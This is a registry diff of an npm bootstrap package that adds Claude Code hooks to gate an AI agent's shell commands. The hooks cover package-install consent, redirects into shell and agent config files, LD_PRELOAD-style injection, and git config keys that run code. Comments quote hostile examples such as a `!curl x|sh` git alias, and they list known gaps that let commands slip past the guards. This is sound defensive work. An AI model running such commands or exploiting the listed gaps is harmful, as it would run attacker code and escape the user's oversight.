@codewizard-dt/bootstrap 2.13.0 → 2.15.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (38) hide show
  1. package/lib/hooks/README.md +592 -12
  2. package/lib/hooks/absolute-path-guard.js +142 -0
  3. package/lib/hooks/claude-settings-guard.js +235 -0
  4. package/lib/hooks/env-content-read-guard.js +367 -0
  5. package/lib/hooks/git-protected-ops-block.js +12 -7
  6. package/lib/hooks/interpreter-indirection-guard.js +576 -0
  7. package/lib/hooks/lib/command-parse.js +63 -0
  8. package/lib/hooks/package-install-consent.js +151 -0
  9. package/lib/hooks/protected-write-guard.js +237 -0
  10. package/lib/scripts/README.md +62 -5
  11. package/lib/scripts/build-mcp-guide.sh +9 -1
  12. package/lib/scripts/install-global.sh +25 -2
  13. package/lib/scripts/install-mcps.sh +140 -36
  14. package/lib/scripts/lib.sh +11 -7
  15. package/lib/scripts/merge-gitignore.sh +242 -33
  16. package/lib/scripts/merge-settings-deny.js +112 -39
  17. package/lib/scripts/templates/file-suggestion.sh +142 -0
  18. package/lib/scripts/templates/gitignore +8 -0
  19. package/lib/scripts/templates/guides/stubs/playwright.md +2 -0
  20. package/lib/scripts/templates/settings-deny.json +81 -1
  21. package/lib/skills/debug-logs/SKILL.md +1 -1
  22. package/lib/skills/git-commit/SKILL.md +8 -0
  23. package/package.json +5 -2
  24. package/raw/research/brave-mcp-single-docker-container/index.md +0 -94
  25. package/raw/research/brave-mcp-single-docker-container/sources.md +0 -70
  26. package/raw/research/dark-mode-theme/index.md +0 -85
  27. package/raw/research/dark-mode-theme/sources.md +0 -49
  28. package/raw/research/mcp-add-scope-writes/index.md +0 -46
  29. package/raw/research/mcp-add-scope-writes/sources.md +0 -38
  30. package/raw/research/mcp-one-process-per-user/index.md +0 -75
  31. package/raw/research/mcp-one-process-per-user/sources.md +0 -66
  32. package/raw/research/mcp-scope-conflict-handling/index.md +0 -61
  33. package/raw/research/mcp-scope-conflict-handling/sources.md +0 -32
  34. package/raw/research/serena-mcp-disconnect/index.md +0 -81
  35. package/raw/research/serena-mcp-disconnect/sources.md +0 -87
  36. package/raw/research/wiki-tooling-improvements/index.md +0 -126
  37. package/raw/research/wiki-tooling-improvements/sources.md +0 -73
  38. package/raw/software-factory-case-study.pdf +0 -0
@@ -0,0 +1,151 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+
4
+ // package-install-consent.js — PreToolUse hook (matcher: Bash)
5
+ //
6
+ // Implements the standing requirement that no package enters this machine or
7
+ // this project without explicit human consent. Every package-manager install
8
+ // invocation is denied, and the deny reason hands the user the exact command
9
+ // back so they can run it themselves if they approve.
10
+ //
11
+ // Why a hook and not a deny rule: a deny rule cannot carry an exception. This
12
+ // repo bootstraps Serena with `uvx --from git+https://github.com/oraios/serena`
13
+ // on every setup, and that one invocation must stay allowed while every other
14
+ // `uvx --from` is gated. There is no deny pattern that expresses "block this
15
+ // class except this member" — deny beats allow at every scope, and a hook
16
+ // returning `allow` cannot loosen a deny rule either. A hook can simply not
17
+ // deny. That exception is the main reason this control lives here.
18
+ //
19
+ // Why not `permissions.ask`: `ask` is the natural fit for consent and it works
20
+ // correctly in an interactive session. But this repo routinely runs headless
21
+ // (`claude -p` under /uat-auto-plus and power-mode), where there is no one to
22
+ // answer the prompt — the call then either blocks or hangs, and a consent gate
23
+ // that hangs an unattended run is worse than one that denies with instructions.
24
+ // A hook behaves identically in both: deny + a copy-pasteable command.
25
+ // NOTE: that headless-`ask` behavior is recorded as INFERENCE, not primary
26
+ // source, in raw/research/bypass-mode-enforcement/index.md. UAT should
27
+ // confirm it before this rationale is repeated as fact elsewhere.
28
+ //
29
+ // Scope note — installs inside shell scripts are NOT gated, by construction.
30
+ // PreToolUse sees only the command Claude asks to run. When that command is
31
+ // `bash lib/scripts/install-mcps.sh`, everything the script executes is a
32
+ // subprocess of an already-approved call and never reaches a hook. So
33
+ // install-mcps.sh:197 (`npm install -g @playwright/mcp@latest`),
34
+ // install-mcps.sh:297 and bootstrap-serena.sh:35/:51 (the uvx/serena
35
+ // invocations) all run unaffected. A user or agent typing that same
36
+ // `npm install -g @playwright/mcp@latest` at the prompt IS gated. Both are
37
+ // correct: consent was given once for the setup script as a whole; an ad-hoc
38
+ // install carries no such consent.
39
+
40
+ const { readHookInput, splitSegments, tokenize, deny } = require('./lib/command-parse');
41
+
42
+ // Manager basename → install subcommand phrases (space-separated so multi-token
43
+ // forms like `uv pip install` are expressible). `uvx` is absent here: its
44
+ // trigger is a flag, not a subcommand, and is handled separately below.
45
+ const INSTALL_SUBCOMMANDS = new Map([
46
+ ['npm', ['install', 'i', 'add']],
47
+ ['pnpm', ['add', 'install']],
48
+ ['yarn', ['add']],
49
+ ['pip', ['install']],
50
+ ['pip3', ['install']],
51
+ ['uv', ['pip install']],
52
+ ['pipx', ['install']],
53
+ ['gem', ['install']],
54
+ ['cargo', ['install']],
55
+ ['go', ['install']],
56
+ ['brew', ['install']],
57
+ ]);
58
+
59
+ // Read-only and lockfile-driven subcommands are simply absent from the lists
60
+ // above, so `npm ci`, `npm test`, `npm run build`, `pip list`, `cargo build`,
61
+ // `brew list`, and `yarn install` never match. `yarn install` is deliberately
62
+ // omitted for the same reason as `npm ci`: it installs what the lockfile
63
+ // already records, adding nothing the repo has not already consented to.
64
+
65
+ // An install that resolves nothing and writes nothing is not a package
66
+ // addition, so it needs no consent.
67
+ const NON_INSTALLING_FLAGS = new Set(['--dry-run', '--help', '-h']);
68
+
69
+ // The one allowlisted package source: Serena, this repo's own MCP dependency.
70
+ // Matched on the repo URL rather than on `uvx --from` generally, so any other
71
+ // `--from` target is still gated. An optional `.git` suffix and an optional
72
+ // `@ref` pin are accepted because both are ordinary spellings of the same repo.
73
+ const SERENA_SOURCE = /^git\+https:\/\/github\.com\/oraios\/serena(\.git)?(@[^\s]*)?$/;
74
+
75
+ function basename(token) {
76
+ const cleaned = token.replace(/^\\+/, '');
77
+ return cleaned.slice(cleaned.lastIndexOf('/') + 1);
78
+ }
79
+
80
+ // Drop leading environment assignments and wrappers so `FOO=1 npm install` and
81
+ // `sudo /usr/local/bin/npm install` reach the same matcher as `npm install`.
82
+ function stripInvocationPrefix(tokens) {
83
+ let i = 0;
84
+ while (i < tokens.length) {
85
+ const t = tokens[i];
86
+ if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(t) || ['env', 'sudo'].includes(basename(t))) i++;
87
+ else break;
88
+ }
89
+ return tokens.slice(i);
90
+ }
91
+
92
+ // `uvx --from X` fetches and runs X, so it is an install in everything but
93
+ // name. The flag is located anywhere in the segment rather than at a fixed
94
+ // position, because `uvx --python 3.12 --from X` is equally valid.
95
+ function uvxSource(tokens) {
96
+ for (let i = 1; i < tokens.length; i++) {
97
+ if (tokens[i] === '--from') return tokens[i + 1] ?? '';
98
+ if (tokens[i].startsWith('--from=')) return tokens[i].slice('--from='.length);
99
+ }
100
+ return null;
101
+ }
102
+
103
+ // Returns the matched install phrase (e.g. `npm install`, `uv pip install`) or
104
+ // null. The phrase is used only in the human-readable reason; the command the
105
+ // user is told to run is always the original segment, never a reconstruction.
106
+ function matchedInstall(tokens) {
107
+ const name = basename(tokens[0]);
108
+
109
+ if (name === 'uvx') {
110
+ const source = uvxSource(tokens);
111
+ if (source === null) return null;
112
+ return SERENA_SOURCE.test(source) ? null : 'uvx --from';
113
+ }
114
+
115
+ const phrases = INSTALL_SUBCOMMANDS.get(name);
116
+ if (!phrases) return null;
117
+
118
+ for (const phrase of phrases) {
119
+ const words = phrase.split(' ');
120
+ if (words.every((w, n) => tokens[n + 1] === w)) return `${name} ${phrase}`;
121
+ }
122
+ return null;
123
+ }
124
+
125
+ readHookInput(data => {
126
+ if (data.tool_name !== 'Bash') return;
127
+
128
+ const fullCmd = String(data.tool_input?.command ?? '').trim();
129
+ if (!fullCmd) return;
130
+
131
+ for (const segment of splitSegments(fullCmd)) {
132
+ const tokens = stripInvocationPrefix(tokenize(segment));
133
+ if (!tokens.length) continue;
134
+
135
+ if (tokens.some(t => NON_INSTALLING_FLAGS.has(t))) continue;
136
+
137
+ const install = matchedInstall(tokens);
138
+ if (!install) continue;
139
+
140
+ // The segment is echoed verbatim, not rebuilt from tokens: the entire value
141
+ // of this gate over a deny rule is that the user can copy the exact string
142
+ // back out and run it. Re-joining tokens would silently drop quoting.
143
+ deny(
144
+ `Package install blocked pending consent (\`${install}\`). No package is added ` +
145
+ `without an explicit human decision. To approve, run it yourself:\n\n` +
146
+ ` ${segment}\n\n` +
147
+ `If the dependency is not actually needed, say so and it will be dropped rather ` +
148
+ `than worked around.`
149
+ );
150
+ }
151
+ });
@@ -0,0 +1,237 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+
4
+ // protected-write-guard.js — PreToolUse hook (matcher: Bash)
5
+ //
6
+ // Three unrelated-looking rules that share one property: each is a WRITE to
7
+ // something that executes later, expressed in a form the permission engine does
8
+ // not recognise as a write at all.
9
+ //
10
+ // 1. `>` / `>>` redirects into shell startup files, ~/.gitconfig,
11
+ // ~/.claude/settings*.json, ~/.claude/hooks/, ~/Library/LaunchAgents/
12
+ // 2. dynamic-linker injection variables (DYLD_INSERT_LIBRARIES, LD_PRELOAD, …)
13
+ // 3. `git -c core.fsmonitor=…` and `git -c alias.x=!…`
14
+ //
15
+ // Why a hook and not deny entries:
16
+ //
17
+ // Rule 1 is the documented gap in TASK-026's A2 group. `Edit(~/.zshrc)` denies
18
+ // the Edit tool and the Bash writers the engine recognises, but `echo … >>
19
+ // ~/.zshrc` is not a recognised file-write — it is an `echo`, and the file it
20
+ // lands in is a redirect target the matcher never inspects. The deny list has
21
+ // no vocabulary for "wherever this command's stdout ends up".
22
+ //
23
+ // Rule 2 is not a command at all. `DYLD_INSERT_LIBRARIES=/tmp/x.dylib git log`
24
+ // is, to a literal matcher, a `git log` — a read-only command everyone allows.
25
+ // The code that actually runs is a library loaded into the process before
26
+ // main(). Nothing about the spelling of the command reveals it.
27
+ //
28
+ // Rule 3 is the sharpest of the three: git executes its OWN config on ordinary
29
+ // commands, so `git -c core.fsmonitor=<cmd> status` is remote code execution
30
+ // that never looks like a fetch and never looks like a write
31
+ // (GHSA-9ccr-r5hg-74gf, TALOS-2025-2243). `Bash(git status:*)` — an entry most
32
+ // people would call obviously safe — matches it.
33
+ //
34
+ // Matching approach, per rule, and why they differ. Step 4's absolute-path guard
35
+ // examines only the FIRST token of a segment; step 2's interpreter guard scans
36
+ // EVERY token. Both choices were right for their rule. All three rules here need
37
+ // the whole segment, because none of them lives at the start of a command:
38
+ //
39
+ // Rule 1 — whole-segment REGEX scan. A redirect operator can appear anywhere,
40
+ // and `>>~/.zshrc` is a single whitespace token while `>> ~/.zshrc` is two,
41
+ // so tokenising first would split the operator from its target in one form
42
+ // and not the other. A regex over the raw segment sees both identically.
43
+ // Rule 2 — whole-segment TOKEN scan. The assignment appears as a bare command
44
+ // prefix, as an argument to `env`, or as an argument to `export`; only a
45
+ // full scan covers all three.
46
+ // Rule 3 — whole-segment TOKEN scan anchored on a `git` token, since `-c` can
47
+ // sit anywhere before the subcommand and `git` itself can be preceded by a
48
+ // wrapper or an env assignment.
49
+ //
50
+ // Inherited false positive: a segment that merely TALKS ABOUT one of these forms
51
+ // can fire, e.g. `echo add it with >> ~/.zshrc`. Accepted — the cost is one
52
+ // rephrase, and narrowing it would mean inspecting quoting well enough to
53
+ // reimplement the shell. Note the QUOTED spelling `echo "add it with >> ~/.zshrc"`
54
+ // does NOT fire: the trailing `"` attaches to the redirect target, which then
55
+ // resolves to `~/.zshrc"` and misses the protected list. Both spellings are pinned
56
+ // in test/command-class-hooks.test.js — the class is real, but a quoted example is
57
+ // not an instance of it.
58
+ //
59
+ // Known gaps, deliberate:
60
+ // - `tee ~/.zshrc` and `cp x ~/.zshrc` write the same files without a redirect.
61
+ // Out of scope for this hook's checkbox; worth a follow-up.
62
+ // - Redirect targets are resolved lexically, not through realpath(), because
63
+ // the target usually does not exist yet. A pre-existing symlink whose name is
64
+ // unremarkable but which points into ~/.claude/ is not caught.
65
+ // - `git --config-env=alias.x=VAR` reads the value from an environment
66
+ // variable, so the dangerous string never appears in the command. Not covered.
67
+
68
+ const path = require('path');
69
+ const os = require('os');
70
+ const { readHookInput, splitSegments, tokenize, deny } = require('./lib/command-parse');
71
+
72
+ const HOME = os.homedir();
73
+
74
+ // Files whose contents are executed or consulted by something other than the
75
+ // command that wrote them: shells at startup, git on every invocation, Claude
76
+ // Code at session start.
77
+ const PROTECTED_FILES = [
78
+ '.zshrc', '.zshenv', '.zprofile',
79
+ '.bashrc', '.bash_profile', '.profile',
80
+ '.gitconfig',
81
+ '.claude/settings.json',
82
+ '.claude/settings.local.json',
83
+ ].map(rel => path.join(HOME, rel));
84
+
85
+ // Directories where any file is executable-by-proxy: a hook script runs on the
86
+ // next tool call, a LaunchAgent plist runs on the next login.
87
+ const PROTECTED_DIRS = [
88
+ path.join(HOME, '.claude', 'hooks'),
89
+ path.join(HOME, 'Library', 'LaunchAgents'),
90
+ ];
91
+
92
+ // Redirect operator plus its target, tolerating an fd prefix (`1>>`, `2>`,
93
+ // `&>`), zero or more spaces, and a quoted target. The `(?![&>])` lookahead is
94
+ // what keeps `2>&1` from being read as a redirect to a file named `&1`.
95
+ const REDIRECT = /(?:&|\d+)?>>?(?![&>])\s*("[^"]*"|'[^']*'|[^\s;|&<>()]+)/g;
96
+
97
+ // Loaded into a process before its own code runs, so the command being approved
98
+ // is never the code that executes first.
99
+ const INJECTION_VARS = [
100
+ 'DYLD_INSERT_LIBRARIES',
101
+ 'DYLD_LIBRARY_PATH',
102
+ 'LD_PRELOAD',
103
+ 'LD_LIBRARY_PATH',
104
+ ];
105
+
106
+ // Git config keys that git itself executes as shell commands.
107
+ //
108
+ // `core.fsmonitor=` with an EMPTY value is the disable form — it is the
109
+ // remediation for this vulnerability, not an instance of it — so a non-empty
110
+ // value is required. `alias.x=` is only dangerous with a leading `!`, which is
111
+ // what promotes an alias from "expands to a git subcommand" to "runs a shell
112
+ // command": `git -c alias.foo=status` is ordinary, `git -c alias.foo='!curl x|sh'`
113
+ // is not. An optional quote is allowed between `=` and `!` because tokenising
114
+ // leaves the opening quote attached to the value.
115
+ const GIT_CONFIG_RCE = [
116
+ {
117
+ re: /^core\.fsmonitor=["']?\S/i,
118
+ what: 'core.fsmonitor',
119
+ why: 'git runs the fsmonitor value as a program on ordinary commands such as `git status`',
120
+ },
121
+ {
122
+ re: /^alias\.[^=]+=["']?!/i,
123
+ what: 'a `!`-prefixed git alias',
124
+ why: 'the `!` prefix makes git execute the alias body as a shell command',
125
+ },
126
+ ];
127
+
128
+ function unquote(value) {
129
+ const s = String(value);
130
+ if (s.length >= 2 && (s[0] === '"' || s[0] === "'") && s[s.length - 1] === s[0]) {
131
+ return s.slice(1, -1);
132
+ }
133
+ // A token split off a longer quoted string keeps only its opening quote.
134
+ return s.replace(/^["']/, '');
135
+ }
136
+
137
+ function basename(token) {
138
+ const cleaned = token.replace(/^\\+/, '');
139
+ return cleaned.slice(cleaned.lastIndexOf('/') + 1);
140
+ }
141
+
142
+ // `~`, `$HOME`, and `${HOME}` are three spellings of the same directory, and a
143
+ // deny rule written against one of them sees none of the others.
144
+ function expandHome(target) {
145
+ const s = unquote(target);
146
+ if (s === '~') return HOME;
147
+ if (s.startsWith('~/')) return path.join(HOME, s.slice(2));
148
+ const m = /^(?:\$HOME|\$\{HOME\})(\/.*)?$/.exec(s);
149
+ if (m) return path.join(HOME, m[1] ?? '');
150
+ return s;
151
+ }
152
+
153
+ function isProtectedPath(resolved) {
154
+ if (PROTECTED_FILES.includes(resolved)) return true;
155
+ return PROTECTED_DIRS.some(dir => resolved === dir || resolved.startsWith(dir + path.sep));
156
+ }
157
+
158
+ // Every `-c` config pair in a git invocation, covering both the spaced form
159
+ // (`-c key=value`) and the fused form (`-ckey=value`).
160
+ function gitConfigPairs(tokens) {
161
+ const pairs = [];
162
+ for (let i = 0; i < tokens.length; i++) {
163
+ if (basename(tokens[i]) !== 'git') continue;
164
+ for (let j = i + 1; j < tokens.length; j++) {
165
+ const t = tokens[j];
166
+ if (t === '-c' && tokens[j + 1] !== undefined) pairs.push(tokens[j + 1]);
167
+ else if (t.length > 2 && t.startsWith('-c')) pairs.push(t.slice(2));
168
+ }
169
+ break;
170
+ }
171
+ return pairs;
172
+ }
173
+
174
+ readHookInput(data => {
175
+ if (data.tool_name !== 'Bash') return;
176
+
177
+ const fullCmd = String(data.tool_input?.command ?? '').trim();
178
+ if (!fullCmd) return;
179
+
180
+ // Relative redirect targets resolve against the session's directory, not the
181
+ // hook process's — they are different, and `echo x > .zshrc` run from $HOME
182
+ // must be caught.
183
+ const baseDir = typeof data.cwd === 'string' && data.cwd ? data.cwd : process.cwd();
184
+
185
+ for (const segment of splitSegments(fullCmd)) {
186
+ // --- Rule 1: redirects into files that execute later ---------------------
187
+ REDIRECT.lastIndex = 0;
188
+ let match;
189
+ while ((match = REDIRECT.exec(segment)) !== null) {
190
+ const resolved = path.resolve(baseDir, expandHome(match[1]));
191
+ if (!isProtectedPath(resolved)) continue; // ordinary redirect — not this hook's business
192
+
193
+ deny(
194
+ `Blocked: \`${segment}\` redirects output into \`${resolved}\`, a file that is ` +
195
+ `executed or consulted by something other than this command — a shell at startup, ` +
196
+ `git on every invocation, or Claude Code at session start. ` +
197
+ `The permission deny list covers edits to this path, but a \`>\`/\`>>\` redirect is ` +
198
+ `not a recognised file-write: the rules see an \`${basename(tokenize(segment)[0] ?? '')}\`, ` +
199
+ `not a write, so they never get consulted. ` +
200
+ `If this change is genuinely wanted, make it yourself — a modification to your shell ` +
201
+ `or tool configuration should be a decision you took, not a side effect of a command.`
202
+ );
203
+ }
204
+
205
+ const tokens = tokenize(segment);
206
+
207
+ // --- Rule 2: dynamic-linker injection ------------------------------------
208
+ for (const token of tokens) {
209
+ const injected = INJECTION_VARS.find(v => token.startsWith(`${v}=`));
210
+ if (!injected) continue;
211
+
212
+ deny(
213
+ `Blocked: \`${segment}\` sets \`${injected}\`, which loads code into a process ` +
214
+ `before that process's own code runs. The command as written looks like whatever ` +
215
+ `follows the assignment, so no permission rule can see that something else executes ` +
216
+ `first — an approved \`git log\` becomes an arbitrary payload. ` +
217
+ `There is no safe rewrite of this form; if a library really must be preloaded, do it ` +
218
+ `yourself outside the agent session.`
219
+ );
220
+ }
221
+
222
+ // --- Rule 3: git config keys that git executes ---------------------------
223
+ for (const pair of gitConfigPairs(tokens)) {
224
+ const rule = GIT_CONFIG_RCE.find(r => r.re.test(unquote(pair)));
225
+ if (!rule) continue;
226
+
227
+ deny(
228
+ `Blocked: \`${segment}\` passes \`${rule.what}\` via \`git -c\`, because ${rule.why}. ` +
229
+ `This is remote code execution that never looks like one: it is not a fetch, not a ` +
230
+ `write, and not a subcommand any deny rule watches — \`Bash(git status:*)\` matches it. ` +
231
+ `See GHSA-9ccr-r5hg-74gf and TALOS-2025-2243. ` +
232
+ `Ordinary config overrides are unaffected (\`git -c user.name=…\`, ` +
233
+ `\`git -c alias.foo=status\`); only values git runs as shell commands are blocked.`
234
+ );
235
+ }
236
+ }
237
+ });
@@ -10,7 +10,7 @@ All scripts use `set -euo pipefail`. Every script that touches a target project
10
10
  |--------|---------------------|---------------|
11
11
  | `setup-project.sh` | `setup` | Preflight-checks `claude` and `uv` are installed, then runs the full new-project sequence: MCP install (interactive), global skills/hooks install, wiki scaffold + tiered guides sync (optional guides prompted), `.gitignore` merge, and Serena `project.yml` bootstrap. Does **not** scaffold deployment — that's explicit via `deploy`. |
12
12
  | `update-project.sh` | `update` | Re-installs global skills/hooks and re-syncs the wiki scaffold + tiered `wiki/guides/` into an existing project. Detects legacy `.docs/`-layout families (`tasks`, `uat`, `adr`, `prd`, `bugs`, `roadmaps`) and warns without touching them — migration is a separate, explicit step (`migrate`). Never touches `.github/`. |
13
- | `install-global.sh` | `install` | Installs/updates MCPs, hooks, and skills globally with **no project path** — the shared step both `setup` and `update` delegate to. Also prunes stale skill folders left over from the wiki rename (`adr-*` → `decision-*`, `prd-*` → `req-*`), and merges the canonical Bash deny list into `~/.claude/settings.json` via `merge-settings-deny.js`. Accepts `--skip-mcps` when the caller already handled MCP install interactively. |
13
+ | `install-global.sh` | `install` | Installs/updates MCPs, hooks, and skills globally with **no project path** — the shared step both `setup` and `update` delegate to. Also prunes stale skill folders left over from the wiki rename (`adr-*` → `decision-*`, `prd-*` → `req-*`), and merges the canonical permission deny list into `~/.claude/settings.json` via `merge-settings-deny.js`. Then copies `templates/file-suggestion.sh` → `~/.claude/file-suggestion.sh` and registers it as the `fileSuggestion` `@`-autocomplete picker (same script, `--set-key` mode) — printing a restart note on fresh registration, or leaving a pre-existing different `fileSuggestion` untouched. Accepts `--skip-mcps` when the caller already handled MCP install interactively. |
14
14
  | `setup-deployment.sh` | `deploy` / `deployment` | Reads `raw/guides/deployment-strategy.md` as a prompt template, copies it into the target's `wiki/guides/` (deploy-only guide tier — the wiki sync never ships it), and runs `claude` to scaffold `.github/workflows/`, `Makefile` Docker targets, and `.gitleaks.toml` into the target project. Deliberately **not** called by `setup`/`update` — CI files get hand-customized per project (Dockerfile paths, runner labels, deploy steps) and must never be created or clobbered implicitly. `security.yml` is always overwritten (generic); `build.yml`/`.gitleaks.toml` are copy-once; `Makefile` targets are merged. |
15
15
  | `migrate-project.sh` | `migrate` | Claude-driven migration of a legacy `.docs/`-layout project to the LLM Wiki structure (`wiki/knowledge/` + `wiki/work/`). Preflight requires a clean git tree; runs on a fresh `wiki-migration` branch so the whole migration is one reviewable diff. Scaffolds first via `sync-wiki-scaffold.sh --interactive`, assembles `wiki/guides/mcp-tools.md` via `build-mcp-guide.sh`, then drives the semantic conversion (frontmatter synthesis, ID renames, link rewrites, family indexes) with the prompt at `lib/prompts/migrate-wiki.md`. `git mv` before edit, so history is preserved. `--dry-run` prints the file inventory only and does not touch anything. |
16
16
  | `setup-strict-typechecks.sh` | `typechecks` | Loads `lib/prompts/setup-strict-typechecks.md`, appends an optional language list (space- or comma-separated), and runs `claude` to detect languages, research current strict-mode conventions, install toolchains, and wire `make typecheck`. |
@@ -21,12 +21,12 @@ All scripts use `set -euo pipefail`. Every script that touches a target project
21
21
  | Script | Used by | Purpose |
22
22
  |--------|---------|---------|
23
23
  | `lib.sh` | Every script above | Shared bash library: `resolve_project_dir` (path resolution + validation), `mcp_installed`/`serena_installed`/`detect_installed_mcps` (MCP state checks), `run_project_sync` (the common setup/update sequence: MCPs → skills/hooks → wiki scaffold → gitignore → Serena), and `prompt_yn`/`prompt_scope` (interactive prompt helpers). |
24
- | `install-mcps.sh` | `install-global.sh`, `setup-project.sh`, `update-project.sh` | Installs Brave Search, Context7, Playwright, and (when a project dir is given) Serena. Two modes: non-interactive (`install-global.sh`'s default — installs everything missing at user scope) and `--interactive --project-dir <dir>` (prompts per-MCP and asks for scope, used by `setup`/`update`). |
24
+ | `install-mcps.sh` | `install-global.sh`, `setup-project.sh`, `update-project.sh` | Installs Brave Search, Context7, Playwright, and (when a project dir is given) Serena. Two modes: non-interactive (`install-global.sh`'s default — installs everything missing at user scope) and `--interactive --project-dir <dir>` (prompts per-MCP and asks for scope, used by `setup`/`update`). Playwright has a dedicated conflict flow: registered as `playwright` (user scope) by default; when a project ships its own `playwright`, a git-tracked `.mcp.json` is never modified (interactive options: register ours as `playwright-shared` + disable the project entry machine-locally via `disabledMcpjsonServers` in `.claude/settings.local.json` / register alongside / skip), while a machine-local registration can be replaced or kept (ours then uses the alternate name). Non-interactive conflicts are left untouched with a hint. |
25
25
  | `sync-wiki-scaffold.sh` | `setup-project.sh`, `update-project.sh`, `migrate-project.sh` | Scaffolds an **empty** wiki into the target project from `templates/wiki/`: creates `raw/` + all `wiki/` family directories, lifecycle docs, per-family `index.md`, and stub `index.md`/`log.md`. Copy-once for project-owned files; always-refreshes `conventions.md` and `lifecycle.md`. Delivers guides from `raw/guides/` tier-wise into `wiki/guides/`: `command-anti-patterns.md` required (always refreshed); `evals-framework.md` + `type-checking-templates/` optional (`--interactive` prompts on first delivery, sticky refresh once present — legacy `.docs/guides/` presence counts, opt out by deleting); migrates legacy `.docs/guides/` (template-owned files removed or relocated, deprecated `task-spec.md` deleted, empty dirs pruned). Also delivers the `## LLM Wiki` section and `.env` safety policy (copy-once, sentinel-guarded, from `templates/CLAUDE-wiki.md` / `templates/CLAUDE-env-safety.md`) into the target's `CLAUDE.md` — when a `CLAUDE.md` already exists without the schema, prompts whether to modify it or write `CLAUDE.local.md` instead (non-interactive default: `CLAUDE.local.md`). |
26
26
  | `build-mcp-guide.sh` | `setup-project.sh`, `update-project.sh`, `migrate-project.sh` | Assembles `wiki/guides/mcp-tools.md` in the target project from the per-server stub files in `templates/guides/stubs/`, including only the sections for MCPs actually installed. |
27
27
  | `bootstrap-serena.sh` | `setup-project.sh`, `update-project.sh` | Headlessly triggers `.serena/project.yml` creation via `claude --print` and enables the optional Serena tools needed by this template's workflow. Preflights `claude` and `python3`. |
28
- | `merge-gitignore.sh` | `setup-project.sh`, `update-project.sh` | Copies the packaged `.gitignore` template into the target project if none exists; otherwise merges in only the missing lines, leaving the project's existing `.gitignore` content untouched. |
29
- | `merge-settings-deny.js` | `install-global.sh` | Zero-dependency Node script that merges the canonical Bash deny list (`templates/settings-deny.json`) into `~/.claude/settings.json` `permissions.deny`. Additive union only: missing entries are appended, user entries are never removed or reordered, all other settings keys pass through untouched. Atomic write, preserves existing indentation, and always exits 0 (warns + skips on unparseable or unexpected file shapes so an install never aborts over a settings merge). `--target`/`--source` flags exist as test seams. |
28
+ | `merge-gitignore.sh` | `setup-project.sh`, `update-project.sh` | Fully interactive `.gitignore` merge — **nothing is ever added without asking**. The packaged template's titled sections are offered one by one (`Add/update .gitignore section '<title>' (N new line(s))? [y/N]`); sections with nothing new are skipped silently. Non-interactive runs (or no tty) change nothing at all. Never touches existing project content. Also offers (git repos only) to keep `.serena/`/`raw/`/`wiki/` out of git via **`.git/info/exclude`** — never `.gitignore`, which would blind Serena on the wiki (see `wiki/knowledge/concepts/git-ignore-tool-visibility.md`); per-machine and idempotent. `info/exclude` *is* honored by ripgrep-class walkers and the `@` file picker, so the excluded paths are written under a `# bootstrap wiki & agent state (machine-local)` sentinel that the `fileSuggestion` picker installed by `install-global.sh` reads back to restore `@`-autocomplete. |
29
+ | `merge-settings-deny.js` | `install-global.sh` | Zero-dependency Node script that merges the canonical permission deny list (`templates/settings-deny.json` — `Bash(...)` command patterns plus `Edit(...)`/`Read(...)` file-tool patterns) into `~/.claude/settings.json` `permissions.deny`. Entries are opaque strings, so any rule form the permission system accepts merges unchanged. Additive union only: missing entries are appended, user entries are never removed or reordered, all other settings keys pass through untouched. Atomic write, preserves existing indentation, and always exits 0 (warns + skips on unparseable or unexpected file shapes so an install never aborts over a settings merge). `--target`/`--source` flags exist as test seams. A second mode, `--set-key <name> --set-value <json>`, merges a single top-level settings key instead of the deny list (used to register `fileSuggestion`): absent → set; already deep-equal → no-op; present but different → one-line warning and skip, never a clobber. Supplying `--set-key` skips the deny merge entirely; a malformed `--set-value` exits 1, since that is a call-site bug rather than a user's file. |
30
30
 
31
31
  ## Standalone infra scripts (not wired to the CLI)
32
32
 
@@ -48,4 +48,61 @@ Static and semi-static assets copied or read by the scripts above — never exec
48
48
  | `templates/CLAUDE-wiki.md` | `sync-wiki-scaffold.sh` | The `## LLM Wiki` schema section delivered into a target project's `CLAUDE.md` (copy-once, sentinel-guarded). |
49
49
  | `templates/CLAUDE-env-safety.md` | `sync-wiki-scaffold.sh` | The `.env` read/write safety policy prepended to a target project's `CLAUDE.md` (copy-once, never duplicated). |
50
50
  | `templates/gitignore` | `merge-gitignore.sh` | Packed copy of this repo's own `.gitignore` (dotfiles aren't included in npm packages, so it's shipped under a non-dot name and renamed on copy). |
51
- | `templates/settings-deny.json` | `merge-settings-deny.js` | The canonical `permissions.deny` list (bare JSON array of rule strings): destructive disk/system commands, `sudo`, permission footguns, and git working-tree/history protections. Audited against the Claude Code permission-rule docs; merged additively into `~/.claude/settings.json` on every `install`/`setup`/`update`. |
51
+ | `templates/file-suggestion.sh` | `install-global.sh` | The `fileSuggestion` `@`-autocomplete picker, copied to `~/.claude/file-suggestion.sh`. Reads the picker's stdin JSON `query` with `sed` (no `jq`), lists the project from `rg --files` (falling back to `git ls-files`, then `find`), and re-includes the paths under the `# bootstrap wiki & agent state (machine-local)` sentinel in `.git/info/exclude` — so bootstrap's hidden dirs are suggestible again while a user's other `info/exclude` entries stay hidden. Always exits 0. |
52
+ | `templates/settings-deny.json` | `merge-settings-deny.js` | The canonical `permissions.deny` list (bare JSON array of rule strings). Covers **both** `Bash(...)` command patterns (destructive disk/system commands, `sudo`, permission footguns, git working-tree/history protections, macOS persistence, credential exfiltration, fetch-and-execute) **and** file-tool path patterns — `Edit(...)` / `Read(...)` — protecting Claude Code's own settings and hooks, shell profiles, git config, and credential stores. Audited against the Claude Code permission-rule docs; merged additively into `~/.claude/settings.json` on every `install`/`setup`/`update`. See [Deny-list notes](#deny-list-notes) for the enforcement model and known costs. |
53
+
54
+ ## Deny-list notes
55
+
56
+ ### What deny rules do and don't cover
57
+
58
+ `permissions.deny` rules are enforced in **every** permission mode — including
59
+ `bypassPermissions` (`--dangerously-skip-permissions`, power-mode teammates,
60
+ subagents) — and for both main-session and subagent tool calls. No `allow` rule
61
+ at any scope can override a `deny` rule.
62
+
63
+ Two structural limits, neither mode-dependent:
64
+
65
+ - **Deny matches a literal command spelling, not a capability.** `Bash(rm -rf ~*)`
66
